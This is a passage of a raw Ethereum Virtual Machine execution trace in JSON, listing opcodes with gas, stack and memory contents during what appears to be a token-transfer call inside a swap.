","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12689,"op":"PUSH1","gas":98902,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x23b872dd00000000000000000000000000000000000000000000000000000000","0x2a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12691,"op":"DUP1","gas":98899,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x23b872dd00000000000000000000000000000000000000000000000000000000","0x2a4","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12692,"op":"MLOAD","gas":98896,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x23b872dd00000000000000000000000000000000000000000000000000000000","0x2a4","0x40","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12693,"op":"PUSH1","gas":98893,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x23b872dd00000000000000000000000000000000000000000000000000000000","0x2a4","0x40","0x220"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12695,"op":"NOT","gas":98890,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x23b872dd00000000000000000000000000000000000000000000000000000000","0x2a4","0x40","0x220","0x1f"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12696,"op":"DUP2","gas":98887,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x23b872dd00000000000000000000000000000000000000000000000000000000","0x2a4","0x40","0x220","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12697,"op":"DUP5","gas":98884,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x23b872dd00000000000000000000000000000000000000000000000000000000","0x2a4","0x40","0x220","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0","0x220"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12698,"op":"SUB","gas":98881,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x23b872dd00000000000000000000000000000000000000000000000000000000","0x2a4","0x40","0x220","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0","0x220","0x2a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12699,"op":"ADD","gas":98878,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x23b872dd00000000000000000000000000000000000000000000000000000000","0x2a4","0x40","0x220","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0","0x84"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12700,"op":"DUP2","gas":98875,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x23b872dd00000000000000000000000000000000000000000000000000000000","0x2a4","0x40","0x220","0x64"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12701,"op":"MSTORE","gas":98872,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x23b872dd00000000000000000000000000000000000000000000000000000000","0x2a4","0x40","0x220","0x64","0x220"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","95688166000000000000000000000000175940b39014cd3a9c87cd6b1d7616a0","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12702,"op":"SWAP2","gas":98869,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x23b872dd00000000000000000000000000000000000000000000000000000000","0x2a4","0x40","0x220"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12703,"op":"SWAP1","gas":98866,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x23b872dd00000000000000000000000000000000000000000000000000000000","0x220","0x40","0x2a4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000064","97db958e000000000000000000000000cbf29dbd33b811bab2f0637e9f0fe4e7","40081eb00000000000000000000000001fa848857b24b9416355f4b4668a84c8","42116bf400000000000000000000000000000000000000000000000045639182","44f4000000000000000000000000000000000000000000000000000000000000"]},{"pc":12704,"op":"MSTORE","gas":98863,"gasCost":3,"depth":1,"stack":["0x18cbafe5","0x1f9","0x4563918244f40000","0x0","0xc4","0x2","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1cb1242d7e8","0x100","0x1cb1242d7e8","0xbed","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0xcbf29dbd33b811bab2f0637e9f0fe4e740081eb0","0x1fa848857b24b9416355f4b4668a84c842116bf4","0x4563918244f40000","0x2e7f","0x4c711efa05b78582f07d9d960b1dadde95688166","0x23b872dd00000000000000000000000000000000000000000000000000000000","0x220","0x2a4","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000220","0000000000000000000000000000000000000000000000000000000000000000","000000000000000000000000db80fe2d03a89fa9e8f8575cea5da8db6b945e24","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000004c711efa05b78582f07d9d960b1dadde95688166","000000000000000000000000175940b39014cd3a9c87cd6b1d7616a097db958e","0000000000000000000000000000000000000000000000000000000000000002","0000000000000000000000000000000000000000000000004563918244f40000","000000000000000000000000000000000000000000000000000136dbf40ac09b","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","000000000000000000000000000000000000000000000000c50dfd48a20630e6","000000000000000000000000000000000000000000002bda54fce7dbfc916a32","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4","0000000000000000000000000000000000000000000000000000000000000003","0000000000000000000000001fa848857b24b9416355f4b4668a84c842116bf4